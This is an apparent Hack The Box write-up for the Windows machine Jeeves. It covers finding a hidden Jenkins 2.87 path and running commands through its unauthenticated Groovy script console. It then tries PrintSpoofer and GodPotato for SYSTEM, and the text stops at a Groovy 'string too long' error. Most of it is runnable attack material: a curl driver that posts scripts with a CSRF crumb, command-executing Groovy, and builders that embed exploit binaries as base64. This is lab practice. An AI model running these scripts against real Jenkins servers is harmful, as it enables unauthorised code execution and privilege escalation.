Skip to content
All writeups

HTB: Jeeves

A Jenkins instance hidden behind a wordlist-only path gives its Groovy script console to anonymous visitors, and the service account's SeImpersonatePrivilege on Windows 10 build 10586 gives SYSTEM through JuicyPotato after two other potatoes fail.

Published
Reading time
24 min
Difficulty
medium
Target
Windows (Jeeves)

htbwindowsjenkinsgroovyscript-consoleseimpersonatejuicypotatoalternate-data-streams

Overview

Jeeves is a medium-rated Windows 10 machine with two web servers. The one on port 80 is a decoy. The one on port 50000 is Jetty, and it answers 404 until the right directory name is found. Behind that name is Jenkins with security switched on and an authorisation strategy that lets anybody do anything:

  1. A directory wordlist finds /askjeeves on port 50000: Jenkins 2.87.
  2. The script console runs Groovy for a visitor with no account. The code runs as the service account, a local user called kohsuke.
  3. A Windows service account holds SeImpersonatePrivilege. On build 10586 JuicyPotato turns it into SYSTEM. PrintSpoofer and GodPotato were tried first and both failed.
  4. The root flag is not in a file of its own: it sits in an alternate data stream of a decoy text file.

I had read write-ups of this box years ago. I ran it with wordlists as if unseen, and each step that leaned on recall or on knowing a product is marked where it happens. My laptop accepts no inbound connection from the lab, so there is no reverse shell and the target cannot fetch a file from me: every command and every binary travelled inside a Groovy script posted to the console. Flags were written to files and masked on screen; a block showing <flag: ...> is the real terminal output.

Every command ran through a wrapper that saves the command and tees the output. Its last line, [lr exit N], and trailing spaces are removed from the blocks below. bin/kali jeeves "..." runs a tool in a container where /work is the machine directory.

Reconnaissance

A full TCP sweep first, because it takes about a minute:

cd ../..; bin/kali jeeves "nmap -Pn -p- --min-rate 2000 -oN /work/scans/01-full.nmap 10.129.228.112" | grep -E "open|done"
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
50000/tcp open  ibm-db2
Nmap done: 1 IP address (1 host up) scanned in 66.63 seconds

Then versions and default scripts on what was open:

cd ../..; P=$(grep -oE "^[0-9]+/tcp +open" machines/jeeves/scans/01-full.nmap | cut -d/ -f1 | paste -sd,); echo "ports: $P"; bin/kali jeeves "nmap -Pn -sC -sV -p $P -oN /work/scans/02-versions.nmap 10.129.228.112" | grep -vE "^$|Starting|Service detection|^SF"
ports: 80,135,445,50000
Nmap scan report for 10.129.228.112
Host is up (0.32s latency).
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb-security-mode:
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2026-11-24T23:23:21
|_  start_date: 2026-11-24T23:21:19
Nmap done: 1 IP address (1 host up) scanned in 29.26 seconds

Four ports. SMB wants a user. IIS serves a page titled “Ask Jeeves”. Port 50000 is Jetty, which nmap’s port table calls ibm-db2 until the version scan corrects it, and its root is a 404. A Java servlet container with nothing at the root has an application mounted under a prefix; the prefix has to be found.

Two things started together. A directory wordlist against port 50000, in the background:

cd ../..; bin/kali jeeves "ffuf -s -t 40 -timeout 20 -u http://10.129.228.112:50000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,307,401,403 -o /work/scans/03-raft50000.csv -of csv > /dev/null 2>&1; wc -l /work/scans/03-raft50000.csv"

And the anonymous checks:

echo "### smb null and guest"; cd ../..; bin/kali jeeves "smbclient -N -L //10.129.228.112 2>&1 | head -8; smbclient -U guest% -L //10.129.228.112 2>&1 | head -5"; cd machines/jeeves; echo "### http 80 root"; curl -s -S -m 25 -i http://10.129.228.112/ | head -60; echo; echo "### http 50000 root"; curl -s -S -m 25 -i http://10.129.228.112:50000/ | head -30
### smb null and guest
session setup failed: NT_STATUS_ACCESS_DENIED
session setup failed: NT_STATUS_ACCOUNT_DISABLED
### http 80 root
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 06 Nov 2017 02:34:40 GMT
Accept-Ranges: bytes
ETag: "2277f7cba756d31:0"
Server: Microsoft-IIS/10.0
Date: Tue, 24 Nov 2026 23:23:56 GMT
Content-Length: 503

<!DOCTYPE html>
<html>
<head>
<title>Ask Jeeves</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>

<body>
<form class="form-wrapper cf" action="error.html">
    <div class="byline"><p><a href="#">Web</a>, <a href="#">images</a>, <a href="#">news</a>, and <a href="#">lots of answers</a>.</p></div>
  	<input type="text" placeholder="Search here..." required>
	  <button type="submit">Search</button>
    <div class="byline-bot">Skins</div>
</form>
</body>

</html>
### http 50000 root
HTTP/1.1 404 Not Found
Date: Tue, 24 Nov 2026 23:23:57 GMT
Cache-Control: must-revalidate,no-cache,no-store
Content-Type: text/html;charset=iso-8859-1
Content-Length: 315
Server: Jetty(9.4.z-SNAPSHOT)

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 404 Not Found</title>
</head>
<body><h2>HTTP ERROR 404</h2>
<p>Problem accessing /. Reason:
<pre>    Not Found</pre></p><hr><a href="http://eclipse.org/jetty">Powered by Jetty:// 9.4.z-SNAPSHOT</a><hr/>

</body>
</html>

No null session, guest disabled. The page on port 80 is a search form whose action is error.html, a static file. I fetched it to see whether anything handled the query, and looked at the scan’s output file in the same call:

curl -s -S -m 25 -i http://10.129.228.112/error.html | head -30; echo; echo "### scan state"; wc -l scans/03-raft50000.csv 2>&1; cut -d, -f1,5,6 scans/03-raft50000.csv 2>/dev/null | head -20
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 06 Nov 2017 02:35:12 GMT
Accept-Ranges: bytes
ETag: "8ab5f9dea756d31:0"
Server: Microsoft-IIS/10.0
Date: Tue, 24 Nov 2026 23:24:02 GMT
Content-Length: 50

<img src="jeeves.PNG" width="90%" height="100%">

### scan state
wc: scans/03-raft50000.csv: No such file or directory

error.html is one <img> tag pointing at jeeves.PNG. I did not download the image; I remember from the write-ups that it is a screenshot of a SQL Server error page, there to send people after an injection that does not exist. The headers are enough without it: both files are static, last modified in November 2017, and whatever is typed in the form is discarded. The scan’s CSV did not exist yet, because ffuf writes it when it finishes.

A wordlist against port 80 for completeness, in the foreground:

cd ../..; bin/kali jeeves "ffuf -s -t 40 -timeout 20 -u http://10.129.228.112/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,307,401,403 -o /work/scans/06-raft80.csv -of csv > /dev/null 2>&1; wc -l /work/scans/06-raft80.csv; cut -d, -f1,5,6 /work/scans/06-raft80.csv | head -20"
1 /work/scans/06-raft80.csv
FUZZ,status_code,content_length

The header line and nothing else. The background scan of port 50000 ended the same way:

1 /work/scans/03-raft50000.csv

Thirty thousand directory names and two empty results. The second pass used the DirBuster lowercase medium list, about 207,000 names, at 80 threads, and this time each hit went to a file as it was found, so that the first one could be acted on without waiting for the list to finish:

cd ../..; bin/kali jeeves "ffuf -s -t 80 -timeout 20 -u http://10.129.228.112:50000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -mc 200,204,301,302,307,401,403 2>/dev/null | tee /work/scans/07-dirb50000.hits; echo done; wc -l /work/scans/07-dirb50000.hits"

About two minutes in, the hits file had one line: askjeeves. I stopped the scan there (the background task, and the container with docker ps --format "{{.ID}} {{.Command}}" | grep ffuf | cut -d" " -f1 | xargs -r docker kill), so the rest of the list was never tried against this port.

After the machine was stopped I checked where the name sits in each list:

cd ../..; bin/kali jeeves "cd /usr/share/seclists/Discovery/Web-Content; wc -l raft-medium-directories.txt DirBuster-2007_directory-list-lowercase-2.3-medium.txt; grep -c -x -i askjeeves raft-medium-directories.txt; grep -n -x askjeeves DirBuster-2007_directory-list-lowercase-2.3-medium.txt"
  29999 raft-medium-directories.txt
 207643 DirBuster-2007_directory-list-lowercase-2.3-medium.txt
 237642 total
0
38503:askjeeves

Absent from the first list, line 38,503 of the second.

echo "### hits file"; cat scans/07-dirb50000.hits; echo "### /askjeeves (no trailing slash)"; curl -s -S -m 30 -i http://10.129.228.112:50000/askjeeves | head -12; echo; echo "### /askjeeves/"; curl -s -S -m 30 -D - -o loot/askjeeves.html http://10.129.228.112:50000/askjeeves/ | head -20; grep -oE "<title>[^<]*</title>|Jenkins ver\. [0-9.]+|href=\"/askjeeves/[a-zA-Z]+[^\"]*\"" loot/askjeeves.html | sort -u | head -30
### hits file
askjeeves
### /askjeeves (no trailing slash)
HTTP/1.1 302 Found
Date: Tue, 24 Nov 2026 23:30:15 GMT
Location: http://10.129.228.112:50000/askjeeves/
Content-Length: 0
Server: Jetty(9.4.z-SNAPSHOT)


### /askjeeves/
HTTP/1.1 200 OK
Date: Tue, 24 Nov 2026 23:30:15 GMT
X-Content-Type-Options: nosniff
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store,must-revalidate
X-Hudson-Theme: default
Content-Type: text/html;charset=utf-8
Set-Cookie: JSESSIONID.cfc3e5fc=node0vwdne841mhqz1ku7yzj985rre0.node0;Path=/askjeeves;HttpOnly
X-Hudson: 1.395
X-Jenkins: 2.87
X-Jenkins-Session: 429ed02f
[...]
<title>Dashboard [Jenkins]</title>
href="/askjeeves/asynchPeople/"
href="/askjeeves/credentials"
href="/askjeeves/images/mask-icon.svg"
href="/askjeeves/login?from=%2Faskjeeves%2F"
href="/askjeeves/manage"
[...]
Jenkins ver. 2.87

Jenkins 2.87, and the dashboard it serves to a visitor with no session carries links to manage and credentials. Those links are only rendered for someone allowed to use them.

Attack Surface Analysis

Surface Observation Weakness
IIS, port 80 Two static files, one referencing an image I did not fetch None found; a decoy
SMB, port 445 Null and guest sessions refused None found without credentials
Jenkins, port 50000 Management pages and script console open to anonymous CWE-862, missing authorisation
Jenkins service Runs as a local user whose token holds SeImpersonatePrivilege, on a build with no fix for DCOM token relay CWE-250, execution with unnecessary privileges
/askjeeves prefix Not linked from anywhere, found by wordlist CWE-656, reliance on security through obscurity

Vulnerability Analysis

Jenkins. The security settings, read from config.xml as SYSTEM after the fact (the batch file is shown in the next section):

[...]
### jenkins security settings
  <useSecurity>true</useSecurity>
  <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
  <securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
  </securityRealm>
[...]

useSecurity is true and the realm is Jenkins’ own user database, so the login page is real. The authorisation strategy is Unsecured, which Jenkins labels “Anyone can do anything” in its settings page. Authentication and authorisation are separate settings in Jenkins, and this pair means: you may log in, and it makes no difference whether you do. The script console is an administrator feature by design. It evaluates Groovy inside the Jenkins JVM with no sandbox, and Groovy’s String.execute() starts a process. Open console plus Unsecured is remote command execution as whoever runs Jenkins.

The service account. Jenkins is a Windows service that logs on as .\kohsuke:

[...]
### how jenkins is started
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: jenkins
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Users\Administrator\.jenkins\jenkins.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : jenkins
        DEPENDENCIES       :
        SERVICE_START_NAME : .\kohsuke


CommandLine="java" -Xrs -Xmx256m -Dhudson.lifecycle=hudson.lifecycle.WindowsServiceLifecycle -jar "C:\Users\Administrator\.jenkins\jenkins.war" --prefix=/askjeeves --httpPort=50000 --webroot="C:\Users\Administrator\.jenkins\war"
ParentProcessId=2624
[...]

kohsuke is not an administrator, but Windows gives every process started by the service control manager the right to impersonate clients that connect to it. That right is what makes a service account one step from SYSTEM: any technique that gets a SYSTEM process to authenticate to a pipe or a COM server the account controls ends with a SYSTEM token. On builds before 1809 the DCOM activation trick in JuicyPotato does that. The newest hotfix on this machine is dated November 2017.

Jenkins also lives in C:\Users\Administrator\.jenkins, with kohsuke given full control of the directory so that the service can run from there. That is not a route upwards: the service starts as kohsuke, so a replaced jenkins.exe would run as the account that replaced it. It is a way to stay, and it puts a low-privileged account’s files inside the Administrator profile. I read the ACL of the directory only, not of the binary; the listing is in the root output below.

Exploitation

Phase 1: anonymous to kohsuke

Jenkins protects POST requests with a crumb, an anti-CSRF token. The crumb issuer hands one to an anonymous visitor too, so the driver is two requests: one for a cookie and a crumb, one posting the script to scriptText, which returns the output as plain text. I sent the cookie and the crumb every time and did not test whether either can be left out. The driver:

#!/bin/bash
# run a Groovy file on the Jenkins script console without credentials: session cookie, CSRF crumb, POST to scriptText
# usage: 09-groovy.sh <groovy file>
set -euo pipefail
B=http://10.129.228.112:50000/askjeeves
J=$(mktemp); trap 'rm -f "$J"' EXIT
C=$(curl -s -S -m 30 -c "$J" "$B/crumbIssuer/api/json" || true)
H=$(printf '%s' "$C" | python3 -I -c 'import json,sys
try:
    d=json.load(sys.stdin); print(d["crumbRequestField"]+": "+d["crumb"])
except Exception: print("X-No-Crumb: 1")')
echo "crumb header name: ${H%%:*}" >&2
curl -s -S -m 120 -b "$J" -H "$H" --data-urlencode "script@$1" -w '\n[http %{http_code}]\n' "$B/scriptText"

The first script asks who and where:

println "user.name=" + System.getProperty("user.name") + " os=" + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " java=" + System.getProperty("java.version")
println "JENKINS_HOME=" + jenkins.model.Jenkins.instance.rootDir
println "cmd /c whoami /all".execute().text

Before running it I checked that the management pages answer an anonymous request, with a path that does not exist as the control. manage is linked from the dashboard; script and whoAmI are standard Jenkins paths that I requested from knowing the product, not from a scan.

echo "### anonymous status of the management pages (Jenkins product paths: manage is linked on the dashboard; script and whoAmI are the standard console and identity pages, from knowing Jenkins)"; for p in whoAmI/ manage script credentials/; do curl -s -S -m 30 -o /dev/null -w "$p -> %{http_code}\n" "http://10.129.228.112:50000/askjeeves/$p"; done; echo "### control: a path that does not exist"; curl -s -S -m 30 -o /dev/null -w "nosuchpage -> %{http_code}\n" http://10.129.228.112:50000/askjeeves/nosuchpage; echo "### who Jenkins says I am"; curl -s -S -m 30 http://10.129.228.112:50000/askjeeves/whoAmI/ | sed -e "s/<[^>]*>/ /g" | tr -s " \n" " " | grep -oE "Name: *[a-z]+|IsAuthenticated\?: *[a-z]+|Authorities: *.{0,40}"; echo; echo "### Groovy through the console (artifacts/09-groovy.sh artifacts/09-id.groovy)"; bash artifacts/09-groovy.sh artifacts/09-id.groovy
### anonymous status of the management pages (Jenkins product paths: manage is linked on the dashboard; script and whoAmI are the standard console and identity pages, from knowing Jenkins)
whoAmI/ -> 200
manage -> 200
script -> 200
credentials/ -> 200
### control: a path that does not exist
nosuchpage -> 404
### who Jenkins says I am
Name: anonymous
IsAuthenticated?: true
Authorities: "" Details: org.acegisecurity.ui.WebAuth
Authorities: Request Headers User-Agent curl/8.18.0 A

### Groovy through the console (artifacts/09-groovy.sh artifacts/09-id.groovy)
crumb header name: Jenkins-Crumb
user.name=kohsuke os=Windows 10 x86 java=1.8.0_151
JENKINS_HOME=C:\Users\Administrator\.jenkins

USER INFORMATION
----------------

User Name      SID
============== ===========================================
jeeves\kohsuke S-1-5-21-2851396806-8246019-2289784878-1001


GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled



[http 200]

Jenkins calls the session anonymous and gives it the console anyway. The code runs as jeeves\kohsuke in a 32-bit JVM (os.arch is x86) at high integrity, with SeImpersonatePrivilege enabled.

The second script collects what the next decision needs and reads the user flag from the desktop, the path HTB always uses, in the same call that first lists that desktop. Each command gets 60 seconds and its stderr:

def run = { c -> def p = ["cmd", "/c", c].execute(); def o = new StringBuffer(); p.consumeProcessOutput(o, o); p.waitForOrKill(60000); println "### " + c; println o }
run('systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix"')
run('echo %PROCESSOR_ARCHITECTURE% %PROCESSOR_ARCHITEW6432%')
run('net user')
run('dir /a /q C:\\Users')
run('dir /s /b /a-d C:\\Users\\kohsuke\\Desktop C:\\Users\\kohsuke\\Documents C:\\Users\\kohsuke\\Downloads')
run('sc query spooler | findstr STATE')
run('type C:\\Users\\kohsuke\\Desktop\\user.txt')

The wrapper writes the raw response to a mode 0600 file, cuts the flag out of it into another and prints the response with the flag replaced:

umask 077; bash artifacts/09-groovy.sh artifacts/10-enum.groovy > loot/10-enum.raw 2>&1; grep -o -E "\b[0-9a-f]{32}\b" loot/10-enum.raw | head -1 > artifacts/user.txt; sed -E "s/\b[0-9a-f]{32}\b/<flag: 32 hex, saved to artifacts\/user.txt>/" loot/10-enum.raw; echo "user.txt bytes: $(stat -c %s artifacts/user.txt)"
crumb header name: Jenkins-Crumb
### systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix"
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.10586 N/A Build 10586
System Type:               x64-based PC
Hotfix(s):                 10 Hotfix(s) Installed.

### echo %PROCESSOR_ARCHITECTURE% %PROCESSOR_ARCHITEW6432%
x86 AMD64

### net user

User accounts for \\JEEVES

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
kohsuke
The command completed successfully.


### dir /a /q C:\Users
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users

11/08/2017  05:22 PM    <DIR>          NT AUTHORITY\SYSTEM    .
11/08/2017  05:22 PM    <DIR>          NT SERVICE\TrustedInsta..
11/03/2017  10:07 PM    <DIR>          ...                    Administrator
10/30/2015  03:09 AM    <SYMLINKD>     NT AUTHORITY\SYSTEM    All Users [C:\ProgramData]
10/25/2017  03:42 PM    <DIR>          NT AUTHORITY\SYSTEM    Default
10/30/2015  03:09 AM    <JUNCTION>     NT AUTHORITY\SYSTEM    Default User [C:\Users\Default]
11/05/2017  09:17 PM    <DIR>          ...                    DefaultAppPool
10/30/2015  02:21 AM               174 BUILTIN\Administrators desktop.ini
11/03/2017  10:19 PM    <DIR>          BUILTIN\Administrators kohsuke
10/25/2017  03:46 PM    <DIR>          NT AUTHORITY\SYSTEM    Public
               1 File(s)            174 bytes
               9 Dir(s)   2,650,468,352 bytes free

### dir /s /b /a-d C:\Users\kohsuke\Desktop C:\Users\kohsuke\Documents C:\Users\kohsuke\Downloads
C:\Users\kohsuke\Desktop\desktop.ini
C:\Users\kohsuke\Desktop\user.txt
C:\Users\kohsuke\Documents\CEH.kdbx
C:\Users\kohsuke\Documents\desktop.ini
C:\Users\kohsuke\Downloads\desktop.ini

### sc query spooler | findstr STATE
        STATE              : 4  RUNNING

### type C:\Users\kohsuke\Desktop\user.txt
<flag: 32 hex, saved to artifacts/user.txt>


[http 200]
user.txt bytes: 33

Windows 10 Pro build 10586, 64-bit, spooler running, and a KeePass database in the user’s documents. User flag ten minutes after the spawn.

Phase 2: kohsuke to SYSTEM

Two leads: the privilege and CEH.kdbx. The privilege needs no cracking, so it went first. My notes from the previous machine say PrintSpoofer before GodPotato when the spooler is running, so that is what I sent.

The work to do as SYSTEM is one batch file, written once and reused by every attempt. It lists the Administrator desktop with /R, which shows alternate data streams, and prints every stream under 200 bytes. Listing streams on a Windows flag directory is a line in my methodology from an earlier machine; I also remembered that this box hides its flag that way, and the log says so. The rest of the batch collects what this post needed and SYSTEM alone could read. The service and task name jenkins in it is a guess at the installer’s default, not something I had enumerated:

@echo off
echo ### whoami
whoami
echo ### administrator desktop, with streams
dir /a /q /R C:\Users\Administrator\Desktop
echo ### every stream under 200 bytes on that desktop
powershell -nop -c "gi C:\Users\Administrator\Desktop\* -Force -Stream * | ? { $_.Length -lt 200 } | %% { '--- ' + $_.FileName + ' [' + $_.Stream + '] ' + $_.Length; gc -LiteralPath $_.FileName -Stream $_.Stream }"
echo ### how jenkins is started
sc qc jenkins
wmic process where "name='java.exe'" get ProcessId,ParentProcessId,CommandLine /format:list
schtasks /query /fo LIST /v /tn jenkins
echo ### jenkins security settings
findstr /i "useSecurity authorizationStrategy securityRealm denyAnonymous" C:\Users\Administrator\.jenkins\config.xml
icacls C:\Users\Administrator\.jenkins
echo ### hotfixes
wmic qfe get HotFixID,InstalledOn
echo ### end

With no channel from the target back to me, the binary has to go in with the script. The builder base64-encodes PrintSpoofer and the batch file into string literals in a Groovy script that writes both to C:\Users\Public, runs the first against the second and prints the result file:

# build artifacts/11-root.groovy: writes PrintSpoofer64.exe and 11-root.bat to C:\Users\Public from base64,
# checks the hash, runs the batch as SYSTEM through PrintSpoofer with output to r.txt, waits for "### end", prints r.txt
import base64, hashlib, sys
exe = open("../../tools/windows/PrintSpoofer64.exe", "rb").read()
bat = open("artifacts/11-root.bat", "rb").read().replace(b"\r\n", b"\n").replace(b"\n", b"\r\n")
print("PrintSpoofer64.exe", len(exe), "bytes sha256", hashlib.sha256(exe).hexdigest())
g = '''def d = "C:\\\\Users\\\\Public\\\\"
new File(d + "ps.exe").bytes = "%s".decodeBase64()
new File(d + "r.bat").bytes = "%s".decodeBase64()
def run = { c -> def p = ["cmd", "/c", c].execute(); def o = new StringBuffer(); p.consumeProcessOutput(o, o); p.waitForOrKill(120000); println "### " + c; println o }
run("certutil -hashfile " + d + "ps.exe SHA256")
run(d + "ps.exe -c \\"C:\\\\Windows\\\\System32\\\\cmd.exe /c " + d + "r.bat > " + d + "r.txt 2>&1\\"")
def f = new File(d + "r.txt")
for (int i = 0; i < 45; i++) { if (f.exists() && f.text.contains("### end")) break; Thread.sleep(2000) }
println "### r.txt"
println(f.exists() ? f.text : "r.txt missing")
''' % (base64.b64encode(exe).decode(), base64.b64encode(bat).decode())
open("artifacts/11-root.groovy", "w").write(g)
print("artifacts/11-root.groovy", len(g), "bytes")
umask 077; python3 -I artifacts/11-build.py; bash artifacts/09-groovy.sh artifacts/11-root.groovy > loot/11-root.raw 2>&1; awk "/### every stream/{f=1} f" loot/11-root.raw | grep -a -o -E "\b[0-9a-f]{32}\b" | head -1 > artifacts/root.txt; tr -d "\000" < loot/11-root.raw | sed -E "s/\b[0-9a-f]{32}\b/<flag: 32 hex, saved to artifacts\/root.txt>/" | sed "s/ *$//" | cut -c1-300; echo "root.txt bytes: $(stat -c %s artifacts/root.txt)"
PrintSpoofer64.exe 27136 bytes sha256 8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d
artifacts/11-root.groovy 37950 bytes
crumb header name: Jenkins-Crumb
### certutil -hashfile C:\Users\Public\ps.exe SHA256
'certutil' is not recognized as an internal or external command,
operable program or batch file.

### C:\Users\Public\ps.exe -c "C:\Windows\System32\cmd.exe /c C:\Users\Public\r.bat > C:\Users\Public\r.txt 2>&1"

### r.txt
r.txt missing

[http 200]
root.txt bytes: 0

Nothing. certutil “not recognized”, no output from PrintSpoofer, no result file. I did not run it again. A diagnosis script instead:

def run = { c -> def p = ["cmd", "/c", c].execute(); def o = new StringBuffer(); p.consumeProcessOutput(o, o); p.waitForOrKill(60000); println "### " + c; println o }
run('dir /a C:\\Users\\Public')
run('echo %PATH%')
run('C:\\Users\\Public\\ps.exe -h & echo exit=%errorlevel%')
run('C:\\Windows\\Sysnative\\cmd.exe /c "C:\\Users\\Public\\ps.exe -h & echo exit=%errorlevel%"')
run('C:\\Windows\\Sysnative\\certutil.exe -hashfile C:\\Users\\Public\\ps.exe SHA256')
run('sc query windefend | findstr STATE')
run('C:\\Windows\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe -nop -c "Get-MpComputerStatus | fl RealTimeProtectionEnabled,AntivirusSignatureLastUpdated; Get-MpThreatDetection | select -last 3 | fl ProcessName,Resources,InitialDetectionTime"')
bash artifacts/09-groovy.sh artifacts/12-diag.groovy 2>&1 | tr -d "\000" | sed "s/ *$//" | cut -c1-400
crumb header name: Jenkins-Crumb
### dir /a C:\Users\Public
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Public

11/24/2026  06:31 PM    <DIR>          .
11/24/2026  06:31 PM    <DIR>          ..
11/03/2017  10:15 PM    <DIR>          AccountPictures
10/30/2015  02:24 AM    <DIR>          Desktop
10/30/2015  02:21 AM               174 desktop.ini
10/25/2017  03:42 PM    <DIR>          Documents
10/30/2015  02:24 AM    <DIR>          Downloads
10/30/2015  02:24 AM    <DIR>          Libraries
10/30/2015  02:24 AM    <DIR>          Music
10/30/2015  02:24 AM    <DIR>          Pictures
11/24/2026  06:31 PM            27,136 ps.exe
11/24/2026  06:31 PM               843 r.bat
10/30/2015  02:24 AM    <DIR>          Videos
               3 File(s)         28,153 bytes
              10 Dir(s)   2,643,267,584 bytes free

### echo %PATH%
C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\

### C:\Users\Public\ps.exe -h & echo exit=%errorlevel%
exit=0

### C:\Windows\Sysnative\cmd.exe /c "C:\Users\Public\ps.exe -h & echo exit=%errorlevel%"
exit=0

### C:\Windows\Sysnative\certutil.exe -hashfile C:\Users\Public\ps.exe SHA256
'C:\Windows\Sysnative\certutil.exe' is not recognized as an internal or external command,
operable program or batch file.

### sc query windefend | findstr STATE
        STATE              : 4  RUNNING

### C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -nop -c "Get-MpComputerStatus | fl RealTimeProtectionEnabled,AntivirusSignatureLastUpdated; Get-MpThreatDetection | select -last 3 | fl ProcessName,Resources,InitialDetectionTime"


RealTimeProtectionEnabled     : True
AntivirusSignatureLastUpdated : 11/8/2017 8:22:48 AM





[http 200]

The file is on disk at the right size. Defender is running with signatures from 2017 and lists no detection. PrintSpoofer prints nothing even for -h, from the 32-bit cmd and from the 64-bit one. The exit=0 lines are my mistake: cmd expands %errorlevel% when it parses the line, before the program runs, so they report the previous exit code. certutil is not found at the native path either; I did not find out why and moved the hash check out of the plan.

A program that exits silently before main usually failed to load a library. My guess was the Visual C++ runtime. The next script asks for the real exit code with delayed expansion, looks for vcruntime140.dll, reads the .NET release and, since it is there anyway, tries GodPotato:

# build artifacts/13-gp.groovy: real exit code of ps.exe, .NET 4 release, then GodPotato-NET4 written from base64 and run with whoami
import base64, hashlib
exe = open("../../tools/windows/GodPotato-NET4.exe", "rb").read()
print("GodPotato-NET4.exe", len(exe), "bytes sha256", hashlib.sha256(exe).hexdigest())
g = '''def d = "C:\\\\Users\\\\Public\\\\"
def run = { c -> def p = ["cmd", "/v:on", "/c", c].execute(); def o = new StringBuffer(); p.consumeProcessOutput(o, o); p.waitForOrKill(120000); println "### " + c; println o }
run(d + "ps.exe -h & echo exit=!errorlevel!")
run("dir /b C:\\\\Windows\\\\System32\\\\vcruntime140.dll C:\\\\Windows\\\\Sysnative\\\\vcruntime140.dll")
run("reg query \\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\NET Framework Setup\\\\NDP\\\\v4\\\\Full\\" /v Release")
new File(d + "gp.exe").bytes = "%s".decodeBase64()
run("dir " + d + "gp.exe | findstr gp.exe")
run(d + "gp.exe -cmd \\"cmd /c whoami\\" & echo exit=!errorlevel!")
''' % base64.b64encode(exe).decode()
open("artifacts/13-gp.groovy", "w").write(g)
print("artifacts/13-gp.groovy", len(g), "bytes")
python3 -I artifacts/13-build.py; bash artifacts/09-groovy.sh artifacts/13-gp.groovy 2>&1 | tr -d "\000" | sed "s/ *$//" | cut -c1-300
GodPotato-NET4.exe 57344 bytes sha256 9a8e9d587b570d4074f1c8317b163aa8d0c566efd88f294d9d85bc7776352a28
artifacts/13-gp.groovy 77061 bytes
crumb header name: Jenkins-Crumb
org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script1.groovy: 6: String too long. The given string is 76460 Unicode code units long, but only a maximum of 65535 is allowed.
 @ line 6, column 32.
